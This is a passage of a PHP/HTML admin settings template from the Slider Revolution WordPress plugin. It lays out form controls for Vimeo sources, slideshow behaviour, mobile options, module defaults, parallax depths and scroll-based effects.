							<label_a><?php _e('User', 'revslider');?></label_a><input placeholder="<?php _e('Enter User Name', 'revslider');?>" type="text" id="sr_src_vimeo_userName" name="sr_src_vimeo_userName" class="sliderinput easyinit" data-r="source.vimeo.userName">
						</div>
						<div class="vimeo_album_settings vimeo_source_settings">
							<label_a><?php _e('Showcase', 'revslider');?></label_a><input placeholder="<?php _e('Enter Showcase Id', 'revslider');?>" type="text" id="sr_src_vimeo_albumId" name="sr_src_vimeo_albumId" class="sliderinput easyinit" data-r="source.vimeo.albumId">
						</div>
						<div class="vimeo_group_settings vimeo_source_settings">
							<label_a><?php _e('Group', 'revslider');?></label_a><input placeholder="<?php _e('Enter Group Name', 'revslider');?>" type="text" id="sr_src_vimeo_groupName" name="sr_src_vimeo_groupName" class="sliderinput easyinit" data-r="source.vimeo.groupName">
						</div>
						<div class="vimeo_channel_settings vimeo_source_settings">
							<label_a><?php _e('Channel', 'revslider');?></label_a><input placeholder="<?php _e('Enter Channel Name', 'revslider');?>" type="text" id="sr_src_vimeo_channelName" name="sr_src_vimeo_channelName" class="sliderinput easyinit" data-r="source.vimeo.channelName">
						</div>
						<row class="direktrow">
							<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
							<contenthalf><div class="function_info"><?php _e('The “Vimeo Stream” content source is used to display a full stream of videos from a user/album/group/channel.<br> If you want to display a single vimeo video, please select the content source “Default Slider” and add a video layer in the slide editor.', 'revslider');?></div></contenthalf>
						</row>
					</div><!-- END OF COLLAPSABLE -->
				</div><!-- END OF VIMEO SETTINGS -->
			</div><!-- END OF VIMEO VISIBILITY  -->
		</div>
	</div><!-- END OF SLIDER CONTENT SETTINGS -->

	<!-- GENERAL SETTINGS-->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_general_settings"  data-select="#gst_sl_6"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="" class="collectortab form_menu_inside" data-forms='["#form_module_general_settings"]'><?php _e('General Settings', 'revslider');?></div></div>						-->
			<!-- GENERAL INNER SETTINGS-->

			<div id="form_slidergeneral_general_viewport" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">play_circle_outline</i><?php _e('Dynamic Viewport Loading', 'revslider');?></div>
				<div class="div5"></div>
				<div class="collapsable" style="display:block !important">
					<longoption><label_a><?php _e('ViewPort Stop', 'revslider');?></label_a><input type="checkbox"  id="sr_viewport" class="sliderinput easyinit" data-r="general.slideshow.viewPort" data-showhide=".slider_stopslider_viewport" data-showhidedep="true"/></longoption>
					<div class="slider_stopslider_viewport">
						<div class="div10"></div>
						<row class="direktrow">
							<onelong><label_icon class="ui_outofviewport"></label_icon><select id="sr_sshow_outviewport" class="sliderinput tos2 nosearchbox easyinit" data-r="general.slideshow.viewPortStart"><option value="wait"><?php _e('Wait', 'revslider');?></option><option value="pause"><?php _e('Pause', 'revslider');?></option></select></onelong>
							<oneshort><label_icon class="ui_viewportpercent"></label_icon><input data-numeric="true" data-allowed="%,px" class="sliderinput valueduekeyboard input_with_presets easyinit" data-presets_text="$C$px!$C$%!" data-presets_val="100px!20%!" data-responsive="true" data-r="general.slideshow.viewPortArea.#size#.v" data-min="-1500" data-max="1500" type="text" id="sr_viewport_area"></oneshort>
						</row>
						<row class="direktrow">
							<onelong><label_icon class="ui_presetheight"></label_icon><input type="checkbox"  id="sr_viewportpresetheight" class="sliderinput easyinit" data-r="general.slideshow.presetSliderHeight"/></onelong>
							<oneshort></oneshort>
						</row>
					</div>
				</div>
			</div>

			<div id="form_slidergeneral_general" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">play_circle_outline</i><?php _e('Slideshow', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<!-- SLIDER SLIDESHOW SETTINGS -->
					<div id="form_slidergeneral_slideshow" class="form_level_2_inner">
						<div id="rs-autorotate-wrap"><longoption><label_a><?php _e('Auto Rotate Slideshow', 'revslider');?></label_a><input type="checkbox"  id="sr_slideshowonoff" class="sliderinput easyinit callEvent" data-updateviaevt="true" data-evt="updateAutoRotate" data-showhide="#generalslideshow" data-showhidedep="true" data-r="general.slideshow.slideShow"/></longoption></div>
						<div id="generalslideshow" class="herodisable carouselenable standardenable">
							<longoption><label_a><?php _e('Stop on Hover', 'revslider');?></label_a><input type="checkbox"  id="sr_ssonhover" class="sliderinput easyinit" data-r="general.slideshow.stopOnHover"/></longoption>
							<longoption><label_a><?php _e('Loop One Slide', 'revslider');?></label_a><input type="checkbox"  id="sr_loopsingle" class="sliderinput easyinit" data-r="general.slideshow.loopSingle"/></longoption>
							<longoption><label_a><?php _e('Stop after N Loops', 'revslider');?></label_a><input type="checkbox"  id="sr_disendloop" class="sliderinput easyinit" data-r="general.slideshow.stopSlider" data-showhide=".slider_stopslider_settings" data-showhidedep="true"/></longoption>
							<div class="direktrow slider_stopslider_settings"></div>
							<div class="div5"></div>
							<row>
								<onelong><label_icon class="ui_stopafterloop"></label_icon><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="general.slideshow.stopAfterLoops" data-min="0" data-max="100" type="text" id="sr_sshw_amountloops"></onelong>
								<oneshort><label_icon class="ui_stopatslide"></label_icon><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="general.slideshow.stopAtSlide" data-min="0" data-max="999" type="text" id="sr_sshw_atSlide"></oneshort>
							</row>
							<longoption><label_a><?php _e('Random Order', 'revslider');?></label_a><input type="checkbox"  id="sr_randomslideshow" class="sliderinput easyinit" data-r="general.slideshow.shuffle"/></longoption>
						</div>

						<longoption><label_a><?php _e('Wait for API', 'revslider');?></label_a><input type="checkbox"  id="sr_waitrevapi" class="sliderinput easyinit" data-r="general.slideshow.waitForInit"/></longoption>
					</div>
					<div class="div5"></div>
				</div>
			</div>

			<!-- SLIDER 1ST SLIDE -->
			<div id="form_slidergeneral_general_first_slide" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">filter_1</i><?php _e('First Slide', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<row class="direktrow">
						<onelong><label_a><?php _e('Other 1. Slide', 'revslider');?></label_a><input data-showhide=".slider_othertslide" data-showhidedep="true" type="checkbox"  id="sr_gen_alternativeFirstSlideSet" class="sliderinput easyinit" data-r="general.firstSlide.alternativeFirstSlideSet" /></onelong>
						<oneshort class="slider_othertslide"><label_a class="short"><?php _e('#', 'revslider');?></label_a><input class="sliderinput valueduekeyboard smallinput easyinit" data-r="general.firstSlide.alternativeFirstSlide" type="text" id="sr_gen_firstSlide_alternativeFirstSlide" ></oneshort>
					</row>
					<label_a><?php _e('Diff. Anim', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_fs" class="sliderinput easyinit" data-r="general.firstSlide.set" data-showhide=".slider_firstslide" data-showhidedep="true"/>
					<div class="slider_firstslide">
						<label_a><?php _e('Transitions', 'revslider')?></label_a><select id="sr_gen_fs_transition" class="sliderinput tos2 searchbox easyinit slideAnimSelect" data-theme="wideopentos2" data-r="general.firstSlide.type">
							</select>
						<label_a><?php _e('Duration', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="general.firstSlide.duration" data-min="0" data-max="1000000" type="text" id="sr_gen_fsduration" />
						<!--<label_a><?php _e('Slot Amount', 'revslider');?></label_a><input data-numeric="true" data-allowed="none" class="sliderinput valueduekeyboard smallinput easyinit" data-r="general.firstSlide.slotAmount" data-min="0" data-max="1000000" type="text" id="sr_gen_fsslotamount">-->
					</div>
				</div>
			</div>

			<!-- Disable On Mobile-->
			<div id="form_slidergeneral_general_disable_mobile" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">phonelink_lock</i><?php _e('Disable on Mobile', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><label_a><?php _e('Disable Slider', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_disonmob" class="sliderinput easyinit" data-r="general.disableOnMobile"/></longoption>
					<longoption><label_a><?php _e('Disable Ken B.', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_disablePanZoomMobile" class="sliderinput easyinit" data-r="general.disablePanZoomMobile"/></longoption>
				</div>
				<div class="div5"></div>
			</div>
			<!-- Under Borwser width-->
			<div id="form_slidergeneral_general_under_browser_width" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">phonelink_off</i><?php _e('Hide Under Browser width...', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<label_a><?php _e('Slider', 'revslider');?></label_a><input data-numeric="true" data-allowed="px" type="text"  id="sr_vis_hideSliderUnderLimit" class="sliderinput easyinit  " data-r="visibility.hideSliderUnderLimit"/>
					<label_a><?php _e('Marked Layers', 'revslider');?></label_a><input data-numeric="true" data-allowed="px" type="text"  id="sr_vis_hideSelectedLayersUnderLimit" class="sliderinput easyinit  " data-r="visibility.hideSelectedLayersUnderLimit"/>
					<label_a><?php _e('All Layers', 'revslider');?></label_a><input type="text" data-numeric="true" data-allowed="px" id="sr_vis_hideAllLayersUnderLimit" class="sliderinput easyinit " data-r="visibility.hideAllLayersUnderLimit"/>
				</div>
			</div>
			<!-- MOBILE SETTINGS -->
			<div id="form_slidergeneral_general_mobile_settings" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">phonelink_setup</i><?php _e('Mobile Settings', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><label_a><?php _e('HTML5 Autoplay', 'revslider');?></label_a><input type="checkbox"  id="sr_autoPlayVideoOnMobile" class="sliderinput easyinit" data-r="general.autoPlayVideoOnMobile"/></longoption>
					<div class="div10"></div>
					<row class="direktrow">
						<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
						<contenthalf><div class="function_info"><?php _e('Option is depricated and will be removed in upcoming updates !', 'revslider');?></div></contenthalf>
					</row>
				</div>
			</div>



			<!-- SLIDER MISC SETTINGS -->
			<div id="form_slidergeneral_misc" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">web</i><?php _e('Browser behavior', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<!-- SLIDER MISC. SETTINGS -->
					<longoption><label_a ><?php _e('Observe Wrapper Container', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_observeWrapper" class="sliderinput easyinit" data-r="general.observeWrap" /></longoption>
					<longoption><label_a ><?php _e('Next on Browser Focus', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_nextSlideOnFocus" class="sliderinput easyinit" data-r="general.nextSlideOnFocus" /></longoption>
					<longoption><label_a ><?php _e('Disable Blur/Focus behav.', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_disableFocusListener" class="sliderinput easyinit" data-r="general.disableFocusListener" /></longoption>
					<longoption><label_a ><?php _e('Set Deeplink Hash in URL', 'revslider');?></label_a><input type="checkbox"  id="sr_gen_enableurlhash" class="sliderinput easyinit" data-r="general.enableurlhash" /></longoption>
				</div><!-- END OF COLLAPSABLE-->
				<div class="div5"></div>
			</div>
			<!-- WPML SETTINGS -->
			<?php
if ($wpml->wpml_exists()) {
	?>
			<!-- USE WPML-->
			<div id="form_slidergeneral_general_usewpml" class="form_inner">
				<div class="form_inner_header"><i class="material-icons">language</i><?php _e('WPML', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><i class="material-icons">language</i><label_a><?php _e('Use WPML Settings', 'revslider');?></label_a><input type="checkbox"  data-setclasson="body" data-class="rs-multilanguage_on" data-inversclass="rs-multilanguage_off" data-id="sr_gen_wpml" class="sliderinput easyinit" data-r="general.useWPML"/></longoption>
				</div>
				<div class="div5"></div>
			</div>
			<?php }
?>

			<!--END OF MODULE TITLE AND ALIAS AND SHORTCODE SETTINGS -->
		</div>
	</div><!-- END OF GENERAL SETTINGS-->

	<!-- DEFAULT SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_default" data-select="#gst_sl_5"  class="formcontainer form_menu_inside collapsed">
			<!--<div class="collectortabwrap"><div id="" class="collectortab form_menu_inside" data-forms='["#form_module_default"]'><?php _e('Module Defaults', 'revslider');?></div></div>						-->
			<!-- MODULE DEFAULTS-->
			<!-- SLIDER SOURCE CONTENT -->
			<div id="form_slidergeneral_defaults" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">dns</i><?php _e('Default Basics', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><i class="material-icons">perm_identity</i><label_a><?php _e('Module ID', 'revslider');?></label_a><input placeholder="ID" class="sliderinput easyinit" data-r="id" type="text" id="sr_sliderid"></longoption>
					<longoption><i class="material-icons">class</i><label_a><?php _e('Module Classes', 'revslider');?></label_a><input placeholder="Class" class="sliderinput easyinit" data-r="class" type="text" id="sr_sliderclass"></longoption>
					<longoption><i class="material-icons">class</i><label_a><?php _e('Wrapper Classes', 'revslider');?></label_a><input placeholder="Class" class="sliderinput easyinit" data-r="wrapperclass" type="text" id="sr_wrapperclass"></longoption>
					<longoption><i class="material-icons">timer</i><label_a><?php _e('Slide Duration', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="def.delay" data-min="0" data-max="1000000" data-evt="updateMaxTime" type="text" id="sr_def_delay"/></longoption>
					<longoption><i class="material-icons">timelapse</i><label_a><?php _e('Initialization Delay', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="general.slideshow.initDelay" data-min="0" data-max="1000000" type="text" id="sr_sshow_initdelay" /></longoption>
					<longoption><i class="material-icons">select_all</i><label_a><?php _e('Layers are Selectable', 'revslider');?></label_a><input type="checkbox"  id="sr_layersselectable" class="sliderinput easyinit" data-r="general.layerSelection"/></longoption>
				</div>
				<div class="div5"></div>
			</div>
			<!-- DEFAULT SETTINGS -->
			<div id="form_slidergeneral_layersettings" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">dns</i><?php _e('Default New Layer Settings', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
					<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Intelligent Inheriting', 'revslider');?></label_a><input type="checkbox"  id="sr_layer_intelligentinherit" class="sliderinput easyinit" data-r="def.intelligentInherit"/></longoption>
					<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Responsive Between Devices', 'revslider');?></label_a><input type="checkbox"  id="sr_layer_autoResponsive" class="sliderinput easyinit" data-r="def.autoResponsive"/></longoption>
					<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Responsive Offsets', 'revslider');?></label_a><input type="checkbox"  id="sr_layer_responsiveOffset" class="sliderinput easyinit" data-r="def.responsiveOffset"/></longoption>
					<longoption><i class="material-icons">important_devices</i><label_a><?php _e('Responsive Children', 'revslider');?></label_a><input type="checkbox"  id="sr_layer_responsiveChilds" class="sliderinput easyinit" data-r="def.responsiveChilds"/></longoption>
				</div>
				<div class="div5"></div>
			</div>

			<!--END OF MODULE DEFAULTS-->
		</div>
	</div> <!-- END OF DEFAULT SETTINGS -->

	<!-- MODULE SCROLL SETTINGS -->
	<div class="form_collector slider_general_collector" data-type="sliderconfig" data-pcontainer="#slider_settings" data-offset="#rev_builder_wrapper">
		<div id="form_module_scroll"  data-select="#gst_sl_8"  class="formcontainer form_menu_inside collapsed">
			<!-- SCROLL EFFECT SUBMENUI -->
			<div id="form_slidergeneral_effects_scroll" class="form_inner">
				<div id="slider_scroll_based_wrap">
					<div class="form_inner_header"><i class="material-icons">folder_special</i><?php _e('Scroll Based Features', 'revslider');?></div>
					<div class="collapsable" style="display:block !important">
						<div class="div15"></div><!--
						--><div id="sr_sbased-tab-3" class="settingsmenu_wrapbtn"><div data-inside="#slider_scroll_based_wrap" data-evt="showhidescrollonssm" data-evtparam="parallax" data-showssm="#sr_scrollbased_parallax" class="ssmbtn selected"><?php _e('Parallax', 'revslider');?></div></div><!--
						--><div id="sr_sbased-tab-1" class="settingsmenu_wrapbtn carouselunavailable standardavailable sceneavailable"><div id="timeline_slider_tab" data-inside="#slider_scroll_based_wrap" data-evt="showhidescrollonssm" data-evtparam="timeline" data-showssm="#sr_scrollbased_timeline" class="ssmbtn"><?php _e('Timeline', 'revslider');?></div></div><!--
						--><div id="sr_sbased-tab-2" class="settingsmenu_wrapbtn carouselunavailable standardavailable sceneavailable"><div data-inside="#slider_scroll_based_wrap" data-evt="showhidescrollonssm" data-evtparam="effects" data-showssm="#sr_scrollbased_filters" class="ssmbtn"><?php _e('Effects', 'revslider');?></div></div><!--
						--><div class="div25"></div>
						<!-- PARALLAX -->
						<div id="sr_scrollbased_parallax" class="ssm_content selected">
							<longoption><i class="material-icons">calendar_view_day</i><label_a><?php _e('Parallax Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_effectspddd" class="sliderinput easyinit callEvent"  data-evt="checkOnScrollSettings" data-showhide=".slider_parallax_subsettings, .layer_parallax_settings" data-showhidedep="true" data-r="parallax.set"/></longoption>
							<div class="slider_parallax_subsettings">
								<longoption><i class="material-icons">3d_rotation</i><label_a><?php _e('3D Effects Enabled', 'revslider');?></label_a><input type="checkbox"  id="sr_effectddd" class="sliderinput easyinit" data-showhide=".slider_ddd_subsettings" data-hideshow=".slide_parallax_wrap" data-showhidedep="true" data-triggerinp="#sr_paralaxlevel_16" data-r="parallax.setDDD"/></longoption>
								<longoption><i class="material-icons">mobile_off</i><label_a><?php _e('Disable on Mobile', 'revslider');?></label_a><input type="checkbox"  id="sr_effectdisableonmobile" class="sliderinput easyinit" data-r="parallax.disableOnMobile"/></longoption>
							</div>
						</div>
						<!-- TIMELINE -->
						<div id="sr_scrollbased_timeline" class="ssm_content">
							<longoption><label_a><?php _e('Timelines Scroll based', 'revslider');?></label_a><input type="checkbox"  id="sr_sbt_ge_enabled" class="sliderinput easyinit callEvent"  data-evt="checkOnScrollSettings" data-showhide=".all_sbt_dependencies" data-showhidedep="true"  data-r="scrolltimeline.set"/></longoption>
							<div class="all_sbt_dependencies">
								<div class="div20"></div>
								<label_a><?php _e('Easing', 'revslider');?></label_a><select id="scroll_timeline_ease" class="sliderinput tos2 searchbox easyinit easingSelect" data-r="scrolltimeline.ease"></select>
								<label_a><?php _e('Speed', 'revslider');?></label_a><input data-allowed="ms" data-min="0"  id="scrolltimeline_speed" data-r="scrolltimeline.speed" data-numeric="true" data-evt=""  type="text"  class="sliderinput valueduekeyboard  easyinit">
								<div class="div20"></div>
								<div class="fixedscrollonoff">
									<longoption><label_a><?php _e('Fix during Scroll', 'revslider');?></label_a><input type="checkbox"  id="sr_sbt_ge_fix_enabled" class="sliderinput easyinit"  data-setclasson="timeline" data-class="fixedscrollon" data-evt="updateFixedScrollRange" data-showhide=".all_sbt_fix_dependencies" data-showhidedep="true"  data-r="scrolltimeline.fixed"/></longoption>
								</div>
								<div class="fixedscrollsettings">
									<div class="all_sbt_fix_dependencies">
										<div class="div20"></div>
										<longoption><label_a><?php _e('Module Fixed From', 'revslider');?></label_a><input data-allowed="ms" id="fixed_scroll_start" data-r="scrolltimeline.fixedStart" data-numeric="true" data-min="1" data-max="999999999" data-evt="updateFixedScrollRange"  type="text"  class="sliderinput valueduekeyboard  easyinit" style="width:95px"></longoption>
										<longoption><label_a><?php _e('Module Fixed Until', 'revslider');?></label_a><input data-allowed="ms"  id="fixed_scroll_end" data-r="scrolltimeline.fixedEnd" data-numeric="true" data-min="1" data-max="999999999"  data-evt="updateFixedScrollRange"  type="text"  class="sliderinput valueduekeyboard  easyinit" style="width:95px"></longoption>
									</div>
								</div>
								<div class="fixedscrollsettingsinfo">
									<row class="direktrow">
										<labelhalf><i class="material-icons vmi">sms_failed</i></labelhalf>
										<contenthalf><div class="function_info"><?php _e('Use Full Screen or Full Width Layout to Use Fixed Scroll.', 'revslider');?></div></contenthalf>
									</row>
								</div>
							</div>
						</div>
						<!-- SCROLL FILTERS -->
						<div id="sr_scrollbased_filters" class="ssm_content">
							<longoption><label_a><?php _e('Scroll based Effects', 'revslider');?></label_a><input type="checkbox"  id="sr_sbe_ge_enabled" class="sliderinput easyinit callEvent"  data-evt="checkOnScrollSettings" data-showhide=".all_sbe_dependencies" data-showhidedep="true" data-r="scrolleffects.set"/></longoption>
						</div>
					</div>
				</div>
			</div><!-- END OF SCROLL EFFECT SUBMENUI -->

			<!-- PARALLAX SETTINGS -->
			<div id="sr_sbased_parallax" class="sr_sbased_tab" >
				<div id="form_slidergeneral_effects_parallax_mous" class="form_inner open">
				<div class="form_inner_header"><i class="material-icons">mouse</i><?php _e('Mouse Interaction', 'revslider');?></div>
				<div class="collapsable" style="display:block !important">
						<label_a><?php _e('Triggered by', 'revslider');?></label_a><select id="slider_parallax_mouse_sens_event"  data-show=".parevent_*val*_settings" data-hide=".parallax_mosue_events" class="sliderinput easyinit tos2 nosearchbox" data-r="parallax.mouse.type">
							<option value="mouse"><?php _e('Mouse Move', 'revslider');?></option>
							<option value="scroll"><?php _e('Scroll Position', 'revslider');?></option>
							<option value="mousescroll"><?php _e('Mouse Move & Scroll', 'revslider');?></option>
						</select>
						<label_a><?php _e('Parallax Orig.', 'revslider');?></label_a><select id="slider_parallax_mouse_origo"  class="sliderinput easyinit tos2 nosearchbox"  data-r="parallax.mouse.origo">
								<option value="enterpoint"><?php _e('Mouse Enter Point', 'revslider');?></option>
								<option value="slidercenter"><?php _e('Slider Center', 'revslider');?></option>
						</select>
						<div class="parevent_mouse_settings parevent_mousescroll_settings parallax_mosue_events"><label_a><?php _e('Mouse Speed', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="parallax.mouse.speed" data-min="0" data-max="1000000" type="text" id="sr_parallax_mbspeed"/></div>
						<div class="parevent_scroll_settings parevent_mousescroll_settings parallax_mosue_events"><label_a><?php _e('BG Speed', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="parallax.mouse.bgSpeed" data-min="0" data-max="1000000" type="text" id="sr_parallax_mbgspeed"/></div>
						<div class="parevent_scroll_settings parevent_mousescroll_settings parallax_mosue_events"><label_a><?php _e('Layers Speed', 'revslider');?></label_a><input data-numeric="true" data-allowed="ms" class="sliderinput valueduekeyboard  easyinit" data-r="parallax.mouse.layersSpeed" data-min="0" data-max="1000000" type="text" id="sr_parallax_mlayspeed"/></div>
					</div>
				</div>
				<div class="slider_parallax_subsettings">
					<div class="slider_ddd_subsettings">
						<div id="form_slidergeneral_effects_parallax_dddd" class="form_inner open">
						<div class="form_inner_header"><i class="material-icons">3d_rotation</i><?php _e('3D Settings', 'revslider');?></div>
							<div class="collapsable" style="display:block !important">
								<longoption><i class="material-icons">collections</i><label_a><?php _e('Shadow', 'revslider');?></label_a><input type="checkbox"  id="sr_ddd_shadow" class="sliderinput easyinit" data-r="parallax.ddd.shadow"/></longoption>
								<longoption><i class="material-icons">image</i><label_a><?php _e('Slide Background Disabled', 'revslider');?></label_a><input type="checkbox"  id="sr_ddd_BGFreeze" class="sliderinput easyinit" data-r="parallax.ddd.BGFreeze"/></longoption>
								<longoption><i class="material-icons">star_half</i><label_a><?php _e('Slider Overflow Hidden', 'revslider');?></label_a><input type="checkbox"  id="sr_ddd_overflow" class="sliderinput easyinit" data-r="parallax.ddd.overflow"/></longoption>
								<longoption><i class="material-icons">star_half</i><label_a><?php _e('Layers Overflow Hidden', 'revslider');?></label_a><input type="checkbox"  id="sr_ddd_layerOverflow" class="sliderinput easyinit" data-r="parallax.ddd.layerOverflow"/></longoption>
								<div class="div15"></div>
								<label_a><?php _e('3D Crop Fix (z)', 'revslider');?></label_a><input type="text"  id="sr_ddd_zCorrection" class="sliderinput easyinit withsuffix smallinput" data-r="parallax.ddd.zCorrection"/><span class="linebreak"></span>
								<label_a><?php _e('BG 3D Depth', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_16" class="sliderinput easyinit smallinput callEvent" data-evt="updateParallaxdddBG" data-r="parallax.levels.15" data-helpkey="bgparallaxlevel" /><span class="linebreak"></span>
							</div>
						</div>
					</div>
					<div id="form_slidergeneral_effects_parallax_depths" class="form_inner open">
						<div class="form_inner_header"><i class="material-icons" style="transform:rotate(90deg)">tune</i><?php _e('Depths', 'revslider');?></div>
						<div class="collapsable" style="display:block !important">
							<row class="direktrow">
								<onethird><label_a class="short"><?php _e('1.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_1" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.0"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('6.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_6" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.5"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('11.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_11" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.10"/><span class="linebreak"></span></onethird>
							</row>
							<row class="direktrow">
								<onethird><label_a class="short"><?php _e('2.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_2" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.1"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('7.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_7" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.6"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('12.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_12" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.11"/><span class="linebreak"></span></onethird>
							</row>
							<row class="direktrow">
								<onethird><label_a class="short"><?php _e('3.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_3" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.2"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('8.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_8" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.7"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('13.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_13" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.12"/><span class="linebreak"></span></onethird>
							</row>
							<row class="direktrow">
								<onethird><label_a class="short"><?php _e('4.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_4" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.3"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('9.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_9" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.8"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('14.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_14" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.13"/><span class="linebreak"></span></onethird>
							</row>
							<row class="direktrow">
								<onethird><label_a class="short"><?php _e('5.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_5" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.4"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('10.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_10" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.9"/><span class="linebreak"></span></onethird>
								<onethird><label_a class="short"><?php _e('15.', 'revslider');?></label_a><input type="text"  id="sr_paralaxlevel_15" class="sliderinput easyinit smallinput" data-evt="updateParallaxLevelTexts" data-r="parallax.levels.14"/><span class="linebreak"></span></onethird>
							</row>
						</div>
					</div><!-- END OF COLLAPSABLE  data-updatetext="slide_ddd_depth_info"  -->
				</div>
			</div><!-- END OF PARALLAX SETTINGS -->
			<!-- TIMELINE SCROLL BASED SETTINGS -->
			<div class="all_sbt_dependencies">
				<div id="sr_sbased_timeline" class="sr_sbased_tab" style="display:none">
					<div id="form_slidergeneral_effects_scroll_on" class="form_inner">
						<div class="form_inner_header"><i class="material-icons">list</i><?php _e('Use Default on...', 'revslider');?></div>
						<div class="collapsable" style="display:block !important">
							<longoption><label_a><?php _e('Layers', 'revslider');?></label_a><input type="checkbox"  id="sr_scrtime_layers" data-evt="checkLayerLoopswithOnScroll" class="sliderinput easyinit callEvent"  data-r="scrolltimeline.layers"/></longoption>
						</div>
					</div>
				</div>
			</div><!-- END OF TIMELINE SCROLL BASED SETTINGS -->

			<!-- EFFECT SETTINGS -->
			<div class="all_sbe_dependencies">
				<div id="sr_sbased_effects" class="sr_sbased_tab" style="display:none">
					<div id="form_slidergeneral_effects_scroll_on" class="form_inner">
						<div class="form_inner_header"><i class="material-icons">list</i><?php _e('Scroll Effects Default', 'revslider');?></div>
						<div class="collapsable" style="display:block !important">
							<longoption><label_a><?php _e('Fade', 'revslider');?></label_a><input type="checkbox"  id="sr_se_fadeset" class="sliderinput easyinit" data-r="scrolleffects.setFade"/></longoption>
							<longoption><label_a><?php _e('Grayscale', 'revslider');?></label_a><input type="checkbox"  id="sr_se_grayset" class="sliderinput easyinit" data-r="scrolleffects.setGrayScale"/></longoption>
